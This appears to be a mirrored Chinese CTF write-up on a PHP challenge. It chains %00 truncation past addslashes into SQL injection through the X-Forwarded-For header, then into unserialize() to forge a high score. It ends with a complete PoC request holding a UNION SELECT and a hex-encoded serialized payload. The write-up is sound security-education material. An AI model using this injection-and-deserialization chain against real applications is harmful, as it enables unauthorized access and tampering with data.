Skip to content

Latest commit

 

History

History
268 lines (197 loc) · 10.3 KB

%00截断配合反序列化的奇妙利用.md

File metadata and controls

268 lines (197 loc) · 10.3 KB

原文链接: https://www.anquanke.com//post/id/170848

%00截断配合反序列化的奇妙利用

                            阅读量   
                            **223344**
                        
                    |
                    
                                                        评论
                            <b>
                                <a target="_blank">3</a>
                            </b>
                                                                                                                                ![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)

前言

前段时间做了一个CTF题目,发现这道题目相当的精妙,主要是利用了%00的截断来绕过安全校验,最终利用反序列化达成目的。

漏洞分析

可控点

整个代码十分的简单,就是猜数字的游戏,但是按照正常的逻辑是无法成功的,那么必然存在漏洞。

config.php中:

foreach ($_GET as $key =&gt; $value ) `{`
    $_GET[$key] = daddslashes($value);
`}`
foreach ($_POST as $key =&gt; $value ) `{`
    $_POST[$key] = daddslashes($value);
`}`
foreach ($_COOKIE as $key =&gt; $value ) `{`
    $_COOKIE[$key] = daddslashes($value);
`}`
foreach ($_SERVER as $key =&gt; $value ) `{`
    $_SERVER[$key] = addslashes($value);
`}`
function daddslashes($string) `{`
    if(!get_magic_quotes_gpc()) `{`
        if(is_array($string)) `{`
            foreach($string as $key =&gt; $val) `{`
                $string[$key] = daddslashes($val);
            `}`
        `}` else `{`
            $string = addslashes($string);
        `}`
    `}`
    return $string;
`}`

对GET、POST、Cookie和SERVER都进行了转义。

分析session.class.php代码:

class session
`{`

    function __construct(&amp;$db, $session_id='', $session_table = 'session', $session_name='SESSID')
    `{`
        $this-&gt;dbConn  = $db;
        $this-&gt;session_name = $session_name;
        $this-&gt;session_table = $session_table;
        $this-&gt;_ip = $this-&gt;real_ip();
        // some other code
        if ($session_id == '' &amp;&amp; !empty($_COOKIE[$this-&gt;session_name]))
        `{`
            $this-&gt;session_id = $_COOKIE[$this-&gt;session_name];
        `}`

        // some other code
        if ($this-&gt;session_id)
        `{`
            $this-&gt;load_session();
        `}`
        else
        `{`
            $this-&gt;gen_session_id();

            setcookie($this-&gt;session_name, $this-&gt;session_id . $this-&gt;gen_session_key($this-&gt;session_id));
        `}`

    `}`

    function real_ip()
    `{`
        static $realip = NULL;

        if ($realip !== NULL)
        `{`
            return $realip;
        `}`

        if (isset($_SERVER))
        `{`
            if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
            `{`
                $realip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            `}`
            elseif (isset($_SERVER['HTTP_CLIENT_IP']))
            `{`
                $realip = $_SERVER['HTTP_CLIENT_IP'];
            `}`
            else
            `{`
                if (isset($_SERVER['REMOTE_ADDR']))
                `{`
                    $realip = $_SERVER['REMOTE_ADDR'];
                `}`
                else
                `{`
                    $realip = '0.0.0.0';
                `}`
            `}`
        `}`
        else
        `{`
            $realip = '0.0.0.0';
        `}`
        return $realip;
    `}`
`}`

其中,变量$this-&gt;_ip是由函数real_ip()得到,其实是从$_SERVER['HTTP_X_FORWARDED_FOR']等变量中取到的,意味着变量$_SERVER['HTTP_X_FORWARDED_FOR']是可控的。

变量$this-&gt;session_id是从变量$_COOKIE["SESSID"]中得到的,同样是可控的。

所以目前看到这里,我们已经知道了变量$this-&gt;_ip和变量$this-&gt;session_id都是我们可控的。

漏洞点

发现在初始化中存在如下代码:

if ($this-&gt;session_id) `{`
    $this-&gt;load_session();
`}`

如果存在$this-&gt;session_id,则调用load_session()函数,跟踪进入到load_session()中,进一步分析

function load_session()
`{`
    $res = $this-&gt;dbConn-&gt;query('SELECT data FROM ' . $this-&gt;session_table . " WHERE session_id = '" . $this-&gt;session_id . "' and ip = '" . $this-&gt;_ip . "'");
    $session = $res-&gt;fetch_array();
    if (empty($session))
    `{`
        $this-&gt;insert_session();
    `}`
    else
    `{`
        $GLOBALS['_SESSION']  = unserialize($session['data']);
    `}`
`}`

可以发现,在SQL语句中直接使用了$this-&gt;_ip,而这个$this-&gt;_ip是我们可控的,$this-&gt;session_id也是可控的,其次最后将数据取出来时使用了unserialize($session['data'])反序列化的操作。

根据直觉猜解,这个问题可能和SQL注入以及序列化漏洞有关。

漏洞利用

根据上面的猜测,漏洞可能和SQL注入以及序列化相关。但是漏洞利用均存在一定程度的问题。对于参数$this-&gt;_ip,虽然我们可控,但是还是被'包裹,同时之前也进行了转义,所以如果要利用必须要能够逃逸出单引号。其次,对于序列化漏洞,需要从$session['data']中读入数据,所以要能够利用序列化漏洞的话,则需要$session['data']的内容是可控的。但是通过分析,对于数据库中data表的数据我们是不可控的,所以序列化的利用也存在很大的问题了。

其实问题的本质是在于SQL注入漏洞,如果能够成功地进行union注入,也就意味着$session['data']的内容是可控的。那么问题就转为了如何进行注入了,注入的关键问题是在于逃脱引号。

分析SQL语句SELECT data FROM ' . $this-&gt;session_table . " WHERE session_id = '" . $this-&gt;session_id . "' and ip = '" . $this-&gt;_ip . "'

如果$this-&gt;_ip无法逃逸出单引号,那么可以考虑一下$this-&gt;session_id是否能够逃逸出单引号。继续分析代码,

$tmp_session_id = substr($this-&gt;session_id, 0, 32);
if ($this-&gt;gen_session_key($tmp_session_id) == substr($this-&gt;session_id, 32))
`{`
    $this-&gt;session_id = $tmp_session_id;
`}`

可以发现使用了substr()方法进行了阶段,那么是否能够利用截断的方法得到一个``呢?通过一个例子进行说明:

$mystr = "c4ca4238a0b923820dcc509a6f75849'";
$mystr = addslashes($mystr);
var_dump($mystr);   // 结果为 c4ca4238a0b923820dcc509a6f75849' (length=33)
var_dump(substr($mystr, 0, 32));  //结果为 c4ca4238a0b923820dcc509a6f75849 (length=32)

说明通过截断的方式保留``是可行的。

解决了SQL注入的问题,接下来就需要解决反序列化的问题,序列化是字符串,但是由于之前使用了addslashes进行转义,即使能够使用SQL注入也无法进行反序列,此时需要可以采用十六进制来解决这个问题了。

漏洞实施

在进行实际的测试时,我发现通过'会存在问题。当我们设置SESSID=c4ca4238a0b923820dcc509a6f75849'eb2d9059时,代码运行至:

$tmp_session_id = substr($this-&gt;session_id, 0, 32);
if ($this-&gt;gen_session_key($tmp_session_id) == substr($this-&gt;session_id, 32))
`{`
    $this-&gt;session_id = $tmp_session_id;
`}`

其中的$tmp_session_id,截断之后变为c4ca4238a0b923820dcc509a6f75849。此时计算:

$this-&gt;gen_session_key($tmp_session_id)    // 得到 eb2d9059
substr($this-&gt;session_id, 32)              // 得到 'eb2d9059

可以看到多余的'被保留了,导致此处的判断无法相等,这样就存在问题。后来想到可以使用%00的方式得到``

$mystr = "QYHuItTPcsD1yj4npiRWGvChx0FLBw6%00";
$mystr = urldecode($mystr);
$mystr = addslashes($mystr);
var_dump($mystr);    // 得到  QYHuItTPcsD1yj4npiRWGvChx0FLBw6 (length=32)

这样多余的0就可以作为后面的校验值了。

当我们设置SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457时,运行的结果如下:

这样就完成了SQL注入的第一步了,下面就是构造序列化的内容,然后转换为十六进制。序列化的内容十分的简单,需要设置分数大于100份即可,a:2:{s:4:"name";s:6:"hahaha";s:5:"score";s:3:"102";}``,转换为十六进制0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d

至此,所有的问题都解决了,最后的PoC为:

GET URL HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: SESSID=QYHuItTPcsD1yj4npiRWGvChx0FLBw6%002ad2457
X-Forwarded-For: /**/union select 0x613a323a7b733a343a226e616d65223b733a363a22686168616861223b733a353a2273636f7265223b733a333a22313032223b7d #
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

注意设置Cookie和XXF。

总结

一般的截断通过是为了保留得到单引号,但是相较于常规的截断手法,你会发现在本例中完全不适用,无法绕过关键的校验是$this-&gt;gen_session_key($tmp_session_id) == substr($this-&gt;session_id, 32),同时在绕过了这个校验之后还需要保留单引号,最终采用%00截断完美地解决了这个问题。

这是一道非常好的题目,虽然所有的考察点都知道,但是结合在一起确实如此的精妙,遇到了问题看来需要多想多思考,在安全这条路上还有很长的一段路要走。